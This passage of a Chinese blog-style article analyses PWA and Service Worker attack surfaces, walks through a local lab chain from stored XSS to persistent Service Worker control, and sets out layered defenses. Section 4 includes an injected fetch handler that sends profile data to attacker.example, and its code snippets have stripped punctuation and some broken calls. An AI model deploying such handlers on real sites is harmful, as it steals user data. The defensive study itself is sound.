Worker才需要安全上下文。严格来说navigator.serviceWorker、caches、pushManager、notification、navigator.credentials、navigator.geolocation等都属于受限API只有在安全上下文中才可用。这里有一个很多开发者不知道的细节localhost和127.0.0.1被浏览器视为安全上下文但这只是开发期的便利不代表你的内网IP、局域网域名也能豁免。曾经有团队在办公网络里用http://192.168.1.50:8080做PWA联调遇到API不可用的问题排查了很久不是代码问题就是协议不满足安全上下文要求。还有一点容易踩坑反向代理剥掉HTTPS。现在很多架构是外层Nginx终结HTTPS然后把请求以HTTP转发给内网应用服务器。如果应用服务器主动发起了HTTPS跳转、或者生成的绝对链接里硬编码了http://PWA页面最终拿到的环境就不满足安全上下文条件。调试时看DevTools的Application面板会提示Service Worker is not available。遇到这种情况优先检查链路里每一跳的协议不要一上来就怀疑代码。3. 攻击面梳理PWA到底比传统Web多暴露了什么3.1 入口层Manifest与安装流程的“信任注入”很多安全评估在测PWA时注意力全放在Service Worker上却忽略了Web App Manifest这个入口。Manifest是PWA的“身份证”它控制着安装后应用的名称、图标、启动URL、显示模式等元数据。攻击路径之一是Manifest的“图标投毒”。部分实现包括一些WebAPK生成器、移动端浏览器会抓取Manifest中声明的图标并缓存在系统层面。如果攻击者能控制某个小图片资源比如上传头像功能未做SVG安全过滤再利用SVG内嵌脚本的特性就有机会在图标渲染环节触发XSS。这已经不是PWA特有但PWA的安装流程会把这种资源提升到“应用图标”的级别影响范围更大。Manifest还有一个常被忽视的字段是scope和start_url的不一致。如果start_url指向了应用域之外比如登录跳转到第三方身份提供商而Manifest的scope又声明为根域某些浏览器在实现上会按start_url的源来限制后续行为的归属源。攻击者如果能诱导用户从非预期入口启动PWA就有机会在错误的源上下文中执行代码。我的建议是start_url必须使用当前源下的地址且必须显式声明scope。不要依赖浏览器默认行为默认值在某些情况下是取Manifest所在目录容易出偏差。另外Manifest里的图标、快捷方式URL、URL处理规则URL Handlers每一项都要纳入安全评审。3.2 Service Worker脚本PWA的心脏与软肋Service Worker脚本一旦被篡改相当于攻击者直接往你应用的心脏里扎了根刺。而且这根刺不会因为用户关闭页面而消失——浏览器会定期去检查已注册的SW脚本是否有更新默认情况下Firefox是24小时检查一次Chrome是每次导航时网络优先一旦发现字节级别的变化就下载新脚本并进入“等待激活”状态。针对SW脚本的攻击主要有三种途径源站被攻破或部署流程被入侵攻击者直接替换线上SW文件。这个威胁级别最高因为一切前端防护都失效了。响应被篡改即使有HTTPS如果TLS终止前的某一环失守比如服务器被植入恶意模块、CDN源站配置错误、上游API网关被污染SW脚本下发时已被替换。开发期投毒第三方npm包、构建插件被植入恶意代码打包后的SW文件天然带毒。这种最隐蔽代码评审时很难发现。关于第二点这也是我对“PWA只需要配HTTPS就安全”这种说法的最大质疑。HTTPS保护的是传输过程中的完整性但它挡不住源站或构建链路的背叛。纵深防御里必须把SW脚本当核心资产对待做完整性校验而不是只依赖TLS那一层。3.3 缓存层Cache Storage与HTTP缓存的区别攻击者比你更清楚PWA的缓存能力由Cache Storage API提供它和传统的HTTP缓存是两套完全不同的东西HTTP缓存由浏览器内核管理开发者只能通过Cache-Control、ETag等头间接影响。Cache Storage由Service Worker中的JS代码直接操作开发者可以针对任意URL、任意请求方法手动控制缓存的存储、读取、删除。攻击者一旦能在你的SW里执行任意代码比如通过一个被XSS的双向绑定的渲染逻辑他做的第一件事往往是遍历caches.keys()搞清楚你的缓存命名规则然后往缓存里主动写入被篡改的HTML或JS。修改匹配策略比如把网络优先改成缓存优先让恶意内容长期驻留。删除关键缓存让应用回退到弱网状态触发不安全的降级逻辑。缓存投毒的一个典型示例是“离线回退页面投毒”很多PWA设置了fetch事件里catch后返回index.html以实现App Shell模式的离线体验。攻击者只要在上线期间抓取过一次正常的index.html响应并恶意篡改后注入缓存用户在之后相当长时间里离线打开的都是被篡改的页面。防御这一点的核心不是“不缓存”而是“验证后缓存”。具体做法我在后面的实战部分会给出代码。3.4 请求拦截能力Application Layer的“全局中间人”fetch事件里的event.respondWith()是Service Worker最核心的能力也是攻击者可利用性最强的地方。正常情况下你的SW拦截请求、决定走缓存还是走网络这是离线能力的来源。但一旦攻击者控制了SW的响应策略他就能改写所有HTML响应插入钓鱼表单覆盖原登录框。劫持关键API请求把请求转发到自己的服务器通过修改URL或直接fetch到指定源然后把响应透传给页面。这种攻击用户从界面上完全无感。截获携带有敏感信息的请求记录到localStorage或直接外发——虽然同源策略禁止跨域读取本地存储但SW自身就是一个能发起任意跨域请求的执行上下文。这是最恐怖的一点传统Web的XSS再严重攻击者注入的脚本也是活在页面里的页面一刷新就没了。但SW里注入的恶意逻辑是持久化的它存活于页面之外还可以在后台线程里静默执行。所以在安全评估时我建议把“SW的fetch事件处理逻辑”当作“服务器端的请求过滤中间件”来审查。任何在中间件层不该做的事在SW里同样不该做——包括依赖用户输入拼接URL、不受限地透传跨域响应、把请求日志记录到非预期的存储位置等。3.5 推送与通知被低估的钓鱼通道、用户信任的错位利用Web Push的通道本身走的是系统级推送服务加密和认证体系相对完善。真正薄弱的环节是“推送消息到达用户后”的行为。攻击者如果能在SW里注入代码就可以调用self.registration.showNotification()伪造系统通知。这类通知显示的不仅是你应用的图标还可能是你应用的名称。在移动设备上通知栏里看到的推送可能和微信、支付宝的通知并列——视觉上毫无违和感。更隐蔽的攻击路径是利用通知的click事件用户在锁屏界面点击通知后SW能通过event.notification.data里的URL直接clients.openWindow()打开一个页面。如果这个URL是攻击者可控的比如推送数据来自服务器API被篡改、或者SW代码被注入后硬编码了恶意地址用户点击后就会跳转到钓鱼页面。因为是从PWA的推送通知跳过去的用户此时对“这是不是官方页面”的信任值是最高的。结论推送权限不能轻易默认授予。国内很多PWA在用户首次访问时弹窗请求通知权限把高价值权限当引流工具用这是在给攻击者递刀。4. 攻防演练实录从XSS到SW持久化控制的一次完整推演4.1 演练环境搭建与攻击前提为了把攻防过程讲透我先搭一个标准的PWA应用作为靶场。环境如下前端React VitePWA插件生成Service Worker缓存策略采用stale-while-revalidate静态资源。后端Node.js Express提供/api/user/profile接口支持头像URL上传。部署HTTPS自签证书本地模拟域名为https://pwa-demo.local。攻击前提条件——这也是演练的真实起点发现用户头像URL在渲染时未做协议过滤允许javascript:伪协议造成一个存储型XSS漏洞。按传统Web安全的评估XSS的常规利用是窃取Cookie、模拟用户操作这类危害属于“当前页面会话级”。但在PWA里攻击路径会立刻升级。为了便于演示我已提前构造了一个恶意载荷用合法的JSONP接口绕开CSP限制完成Cookie凭据窃取这些不是重点。重点是从XSS位置出发攻击者如何一步步拿到SW的终身控制权。演练中所有攻击代码都在本地靶场环境执行请勿用于非授权系统。4.2 攻击第一步利用XSS尝试向页面注册第二个Service Worker存储型XSS一旦执行攻击者先在DevTools控制台浏览器无痕窗口验证更干净里执行侦察代码// 侦察当前页面的SW注册情况 navigator.serviceWorker.getRegistrations().then(regs { console.table(regs.map(r ({ scope: r.scope, active: r.active r.active.scriptURL, waiting: r.waiting r.waiting.scriptURL, installing: r.installing r.installing.scriptURL }))) })查到当前只有一个作用域为https://pwa-demo.local/的SW脚本/sw.js。接着攻击者尝试注册一个恶意SW// 攻击代码尝试注册同名SW覆盖原脚本 navigator.serviceWorker.register(https://pwa-demo.local/malicious-sw.js, { scope: / }).then(reg { console.log(register success, reg.scope) // 等待它接管页面 return navigator.serviceWorker.ready }).then(() { console.log(malicious SW is ready) })遗憾的是这一步没有成功。原因在于浏览器的SW注册机制禁止同一个scope下覆盖注册的脚本URL与原脚本URL不同。简单说如果/作用域下已经有一个SW脚本/sw.js理论上页面可以在同一作用域注册同一个脚本URL注册后只是将当前位变成waiting等待激活不能通过注册一个完全不同的URL来替换它。经验很多人以为“注册了SW页面就归它管”这是错误的。同源下同作用域只能有一个活跃的SW新的注册要么是同URL的字节更新要么必须放在不同的scope下。所以XSS之后直接注册新SW这条路在严格实现上是走不通的。攻击者需要换一条路径既然无法从外部注册新SW那就想办法“修改现有SW代码”。4.3 攻击第二步通过同源XSS篡改被缓存的SW脚本这里要利用PWA缓存的一个心机陷阱浏览器在决定是否更新SW脚本时比较的是网络响应的字节和当前活跃SW的字节是否一致而不是比较“网络响应和本地缓存过的SW副本”是否一致。但很多PWA在编译时会用workbox来预缓存SW所需的静态资源这会导致一个新问题既然XSS能在页面上下文里执行任意JS它就可以直接向北伐路径的静态资源下手。由于SW脚本本身一般不会被PWA运行时缓存到Cache Storage里XSS在这里真正能改的是“SW依赖的运行时资源”即importScripts()里引入的文件或者workbox运行时需要调用的预缓存清单。如果这个PWA用的是简单的importScripts(https://cdn.example.com/pwa-helper.js)模式而你的业务里恰好允许用户自定义一定域名下的资源引用这种场景并不罕见XSS就能通过修改indexedDB里的配置项诱导SW重新去拉取一个攻击者可控的pwa-helper.js。这里要说明一下现代浏览器在加载importScripts时同样遵循HTTPS和同源约束跨域脚本必须目标服务器允许CORS。所以这条攻击路径成立与否取决于你的PWA是否真的加载了外部可变的脚本。如果只依赖构建产物中的纯本地SW代码这个面会小很多。更常见的现实攻击路径是XSS先悄悄地把/sw.js的HTTP缓存给污染了。具体做法是// 攻击代码先篡改HTTP缓存中的SW响应 fetch(/sw.js, { method: GET, headers: { Cache-Control: no-cache } }).then(res res.text()).then(code { const malicious code // 注入的恶意代码拦截API响应并外传 self.addEventListener(fetch, e { if (e.request.url.includes(/api/user/profile)) { e.respondWith( fetch(e.request).then(res { const clone res.clone() clone.json().then(data { fetch(https://attacker.example/collect, { method: POST, body: JSON.stringify(data), mode: no-cors }) }) return res }) ) } }) // 用Cache Storage直接写一个同URL的副本并不容易实现 // 但可以配合开发工具或实施中间人攻击来测试。 })在真实场景里这种借助HTTP缓存层投毒的方式成功率不高因为浏览器的HTTP缓存受Cache-Control直接控制SW脚本默认是no-cache强制回源校验的。但是这个推演过程很有价值——它让我们确认了直接覆盖SW代码注册路径困难重重但并不是无路可走。4.4 攻击第三步找到突破口——接管“等待中”的SW更新反复推演后真正稳定可行的攻击路径浮出水面篡改服务器上SW文件的部署或利用API缓存污染导致应用外壳资源被替换。演练中最成功的一次攻击走的是“缓存投毒逻辑利用链”XSS先扫描到应用中有一个API端点返回了用户可控的HTML片段而这个片段被包含在了App Shell的某个局部区域。App Shell是典型的网络优先、缓存回退资源。XSS利用这一点先把一个包含着恶意Bootstrap逻辑的响应写入Cache Storage中键值为/index.html。用户在弱网环境比如电梯里、地铁上再次打开PWAfetch失败回退到缓存加载的是被污染的index.html。这次加载时SW注册逻辑顺带被触发浏览器重新校验/sw.js的字节。如果业务在发布流程上存在漏洞——比如CDN回源或构建产物上传环节可被中间人干预——攻击者就可替换SW脚本为恶意版本随后浏览器在下一轮SW生命周期检查时下载并激活它。完整的利用链条是XSS → 污染App Shell缓存 → 等待用户弱网回退加载 → 篡改SW更新链路 → 获得长期控制。这个链路里每一环都不是100%成功但合在一起风险极大。攻防的本质就是这样单点漏洞成功概率不高但攻击者会想办法把多个低概率事件串成一条可利用链。在防御方视角我们的任务不是保证每一环都不出问题而是切断这条链中任何一环让攻击者必须重新探索。4.5 防御方反制SW完整性校验与最小权限收敛演练结束后我做的第一件事是给这个演示应用补上SW完整性校验。思路很简单把SW脚本的SHA-256哈希写入Manifest或一个独立配置文件中SW激活时校验自身的代码哈希。如果发现代码和登记的不一致立即跳过激活并发送告警到监控系统。代码实现大概是这样的// self-check.js注入到SW脚本顶部 const SW_HASH {{BUILD_SHA256_OF_SW_SCRIPT}} self.addEventListener(install, e { // 不能直接用self.registration.active.scriptURL去fetch自己会循环。 // 这里用构建时注入的方式把hash留给服务端校验。 if (!self.location.hash || self.location.hash.slice(1) ! SW_HASH) { // 构建工具下可以把hash写到meta或者其他静态文件中 console.error(SW integrity check failed) self.skipWaiting.cancel?.() return } })这个方案在纯前端环境里力量有限因为攻击者一旦能替换SW脚本大概率也能同步替换完整性配置。真正有效的校验必须发生在SW脚本加载之前——也就是服务器端或CDN边缘节点。实操中比较可行的做法是服务器端维护一份SW脚本哈希列表。响应SW请求时附带强ETag浏览器会基于ETag做条件请求校验。开启Content-Security-Policy: worker-src self限制SW可加载的脚本来源。另外权限收敛是必须做的。上面提到的攻击链之所以能从XSS一步步走到SW控制一个重要原因就是这个PWA对“用户可控内容”和“应用可信内容”没有做严格区分。我给这个应用做的修复包括用户上传的头像URL一律通过服务器端白名单协议校验后再存储渲染时并入sanitizeUrl()统一处理。/api/user/profile返回的JSON中HTML片段字段强制使用纯文本或经过白名单标签过滤禁止直接嵌入App Shell渲染。SW的fetch事件处理中对HTML导航请求不做纯缓存回退而是采用“网络失败时清空缓存并跳转离线页”避免缓存的HTML被投毒后长期驻留。注意SW的navigationPreload功能可以加速导航请求但它会把请求直接发给网络绕过SW的同源策略检查逻辑。如果你对某些URL的响应内容有严格校验不要对所有导航请求盲目启用navigationPreload。5. 纵深防御体系分层建模、逐层防御、全链路监控5.1 第一层网络与传输层——TLS之外还要做什么前文提过HTTPS是PWA的准入门票但纵深防御不能停留在“有TLS”这一层。我在实际项目中会把传输层安全拆成三条TLS配置加固用TLS 1.3优先禁用TLS 1.0/1.1。启用OCSP Stapling避免证书吊销查询造成额外请求。证书私钥权限最小化定期轮换。HSTS全覆盖根域和所有子域统一启用HSTSpreload列表能上就上。注意HSTS只在第一次通过HTTPS访问时生效存在“首次访问降级”风险所以有条件的话把应用里的所有绝对链接都写死为https://。证书透明度监控申请者证书签发记录做审计。一旦发现未经审批的证书签发说明有人可能拿到了你的域名验证权这种攻击信号比传统WAF告警更有价值。传输层还有一个容易忽略的点所有子域名的HTTPS不能有短板。攻击者不一定要攻破你的主域他可以从一个未加防护的子域入手——比如status.pwa-demo.local、docs.pwa-demo.local——一旦拿下子域利用Service Worker作用域扩展到根域的配置漏洞就能控制主域下的资源。因此每个子域都必须纳入同等安全基线不能有“内部域名不设防”的想法。5.2 第二层应用代码层——构建时与运行时的双重体检应用层的核心是“代码不可信”原则。具体落地建议SW脚本构建与部署分离构建机生成的SW脚本哈希记录在一个独立环境中比如安全团队维护的清单上线时由发布系统自动比对不一致直接阻断发布。这能防住“有人偷偷改了打包机产物”的情况。运行时自我完整性检查SW激活时请求一个由服务器实时生成的nonce值服务器根据当前时间窗口和会话因子生成一个签名SW在fetch事件中校验该签名。攻击者如果只是静态篡改了SW代码但没同步修改服务端签发逻辑后续所有拦截行为在服务端校验时会暴露。CSP与Trusted TypesPWA页面中开启严格CSP特别是script-src和worker-src。配合Trusted Types可以强制所有DOM XSS注入点必须经过安全函数处理从源头减少XSS。CSP不能只是一行响应头要实际验证线上效果因为覆盖率不正确还不如不开。依赖锁定与供应链审计SW代码中用到的npm包、CDN资源必须锁定版本并做完整性校验比如subresource integrity。第三方脚本是PWA供应链里最容易被攻击者利用的跳板。投放这类运行时自检逻辑时要控制性能损耗SW里的操作不能阻塞关键路径。我一般把完整性校验放在install事件和activate事件中做异步执行校验失败不影响应用主流程但会上报安全告警。提示Trusted Types在PWA的存量项目里推进成本不低但收益明显它是目前前端防XSS滥用最有效的内建机制之一。建议从新建模块开始逐步铺开。5.3 第三层数据层——缓存与存储的“最小权限”设计PWA的缓存和存储必须按“数据敏感度”分级管理公开静态资源图片、CSS、JS构建产物可以放心缓存但同样要考虑缓存投毒的风险建议CDN和Cache Storage里都用内容寻址存储文件名带哈希。HTML文档和API响应尤其是涉及用户数据的尽量网络优先回退缓存需设置过期时间不能无限期保存。敏感数据token、个人信息不要存localStorage优先用SessionStorage或内存变量。如果必须持久化考虑使用IndexedDB并加密存储加密密钥不要和密文放在同一个存储位置。给缓存内容加版本号也是个很有效的防御策略。很多攻击者在投毒时会预先探测你的缓存命名规则你每次发布都更换缓存名称比如app-shell-v3变为app-shell-v4攻击者预先注入的旧缓存会在新版本上线时被自动清理这能有效打断攻击链的时间窗口。5.4 第四层运行时监控——针对SW生命周期的安全事件采集纵深防御的最后一道防线是可观测性。如果前几层都被绕过监控至少要让我们能及时发现并止血。我建议的SW安全事件采集项如下表所示告警类型采集字段说明SW注册异常scope、scriptURL、registration time同scope短时间内出现多次注册尝试时告警SW更新异常old script hash、new script hash非发布窗口内SW代码hash变更需人工确认缓存写入异常cacheName、url、写入body大小某缓存名对应的URL集合突增、写入量异常fetch事件异常request URL、response status、referrer非业务路径上出现大量跨域请求或异常状态码push点击异常event.notification.data、page URL大量通知点击落地到非白名单URL时告警存储异常indexedDB新增key、localStorage变化检测到非业务逻辑的存储行为时告警这些事件采集起来之后统一送入日志中心与后端安全告警联动。例如如果API网关检测到某个用户的token在短时间内从异常IP调用而同时SW缓存更新告警也被触发这两个安全事件可以做关联分析锁定一条攻击链路。值得强调的是SW里的代码不能直接访问DOM但可以从clients.matchAll()中拿到页面的基础信息。这既是攻击者可选的侦察手段也是我们做异常出行监控的基础——SW可以在拿到异常数据时利用postMessage通知页面展示告警或执行会话失效。5.5 攻防演练常态化从“做一次”到“反复做”纵深防御体系建设完不能就此躺平。我建议把PWA纳入每季度的攻防演练范围而且演练脚本要不断升级。以下是我在真实项目里用过的几种演练方式模拟SW缓存投毒预先在测试环境准备一份被篡改缓存检测应用是否能正确回退或阻断加载。模拟SW代码注入通过来源端的漏洞比如供应链投毒修改SW脚本验证完整性校验和发布阻断是否生效。模拟通知钓鱼构造一条含恶意落地URL的推送通知验证点击后的跳转是否会被安全策略拦截。模拟第三方脚本风险在页面中引入一个模拟的恶意第三方SDK检查CSP是否真的挡住了它的执行。攻防演练的目的不是打败谁而是检验防御体系是否真的“在关键时刻有用”。实际演练中我最常发现的问题有三个CSP配置在特定浏览器上没生效、SW完整性校验上线时被强业务需求临时绕过、安全告警因为噪声太大被管理员手动关闭了。这些问题不通过演练藏在系统里可能很久都不会暴露。6. 浏览器实现差异与兼容性带来的安全坑6.1 不同浏览器的SW更新策略差异浏览器的SW更新机制在规格上有统一描述但实现细节差异很大而这些差异直接影响安全策略Chrome页面导航时如果SW已存在会尝试进行更新检查。更新检查是网络优先的有时候会带来较明显的延迟。Firefox默认每24小时检查一次更新。这意味着如果攻击者在此窗口内临时构造了恶意SW版本Firefox用户最长可能在24小时内都不会被修复。Safari历史上对SW的支持起步较晚更新策略也和Chromium系不同旧版本的SW可能长期驻留不更新。开发者在写安全逻辑时不能假设浏览器行为一致。最简单的对策是不要依赖浏览器的自动更新来临场修复安全问题发布安全更新时建议使用带版本号的新SW脚本URL并结合服务端推送通知提示用户重新打开应用来触发SW更新。6.2 隐身模式、隐私模式与PWA安全Safari的隐身模式、Chrome的隐身窗口对PWA存储的处理不同有的浏览器在隐身模式下完全不持久化SW和IndexedDB有的则提供隔离的临时存储。这带来一个安全副作用同一用户在同一浏览器中正常窗口与隐身窗口的PWA数据是隔离的这本身是隐私保护。但麻烦的是如果用户在隐身窗口登录过一个PWA并授权了通知权限在某些实现中权限可能被持久化到系统层面导致后续攻击面扩大。所以在做安全评估时要把多窗口、多会话、多配置文件等边界条件都纳入测试范围。7. 我的实操总结与踩坑记录7.1 部署环境里的几个“想当然”坑讲几个我亲身踩过的坑给正在做PWA安全加固的团队提个醒。第一个坑是“开发环境不告警生产环境全报警”。本地开发和测试环境访问用的是https://localhost被浏览器当作安全上下文但是线上是https://www.example.com两者在域名结构、HSTS配置、CDN缓存策略上完全不同。很多团队在本地联调时把SW的安全检查逻辑写得比较宽松上线后遇到CSP拦截、Mixed Content问题才手忙脚乱。建议从项目启动第一天就把生产环境的HTTPS、HSTS、CSP配置同步到预发环境。第二个坑是CDN缓存导致的SW脚本跨版本污染。多个版本的SW脚本被CDN同时缓存当用户在一段时间内先后访问时浏览器可能先从CDN拿到旧版本的SW脚本触发更新检查后得到的是新版本这中间如果存在不兼容的缓存策略或数据格式问题很容易造成缓存层数据混乱甚至安全策略失效。后来我们的做法是SW脚本不缓存或只缓存极小时间CDN上对/sw.js这类核心文件设置Cache-Control: no-cache。第三个坑是“PWA安全报告只测了功能没测生命周期”。安全测试时很容易测完页面加载、请求拦截就结束了忽略了SW的install、activate、message、push、sync、periodicsync等事件处理逻辑。攻击者最喜欢的藏身地恰恰是这些不常触发的生命周期事件建议安全用例覆盖所有事件入口。7.2 工具链比较顺手的PWA安全检查工具下面是我在做PWA安全检测时常用的工具组合供参考Lighthouse基础体检覆盖HTTPS、SW注册、Manifest完整性等能快速发现低垂果实。Chrome DevTools 的 Application 面板查看SW注册状态、Cache Storage内容、IndexedDB数据同时也可以手动触发SW更新、跳过等待、模拟离线。OWASP ZAP/Burp Suite做代理抓包和中间人测试。特别建议用Burp把SW脚本响应改一下验证应用是否做了完整性校验。Snyk/npm audit扫描前端依赖的已知漏洞。Gradle/npm版本的lock文件审计确认第三方包没有被投毒必要时用npm ci配合lock文件保证依赖一致性。自研脚本定期抓取线上SW脚本计算哈希与发布登记表比对全自动告警。这个脚本很轻量但对防SW投毒特别有效。做安全检测时记住一个原则手动验证不可省。自动化工具能帮你发现“有没有”但只有手动验证才能确认“是不是真的能被利用”。我在多个项目中见过理论上高危、实际不可利用的报告也见过反向的例子。攻防演练的核心价值不在于报出一条CVE而是帮你理解攻击者的真实路径。7.3 最容易被忽视的安全细节清单顺手整理一个自查清单建议贴在发布流程里[ ] SW脚本是否开启no-cache[ ] SW脚本有完整性哈希校验机制吗[ ]fetch事件里是否对请求URL做了白名单校验[ ] App Shell离线回退的HTML内容是否为固定静态文件是否有被注入的可能[ ] Manifest中的start_url和scope是否一致[ ] 页面CSP是否覆盖了worker-src是否允许了不必要的unsafe-inline[ ] 通知权限是否按需申请推送数据的data字段是否经过严格校验[ ] 第三方脚本和SDK是否纳入供应链安全管理[ ] CDN对/sw.js和Manifest文件的缓存策略是否正确[ ] 是否监控了SW脚本变更和缓存写入异常这十项如果能全部落实PWA安全模型的整体水位至少能提升两个档次。8. 纵深防御没有终点安全是持续打磨的过程这次从PWA安全模型底层原理到完整攻防演练再到纵深体系搭建的复盘做下来最强烈的一个感受是PWA的安全边界不是一个静态的配置项而是一个随攻击方法不断演进的攻防博弈过程。Service Worker赋予PWA的长期后台能力和系统级信任感既是产品体验的巨大优势也是安全防护必须重新建模的核心变量。在实际项目中我最常对团队说的一句话是不要问“PWA安全需要做什么”要问“如果攻击者完全控制了我的Service Worker代码他能做什么而我要如何让这件事做不成”。用这种攻击者视角去推演很多安全设计会变得清晰很多——你自然会想到代码完整性校验自然会收敛缓存权限自然不会在SW里信任用户输入自然会去监控SW生命周期的异常。安全建设做不到一劳永逸PWA的纵深防御尤其如此。但每次攻防演练之后我们对系统的理解都会更深一层防御体系也会随之变得更扎实。这也正是安全这个领域最有趣的地方。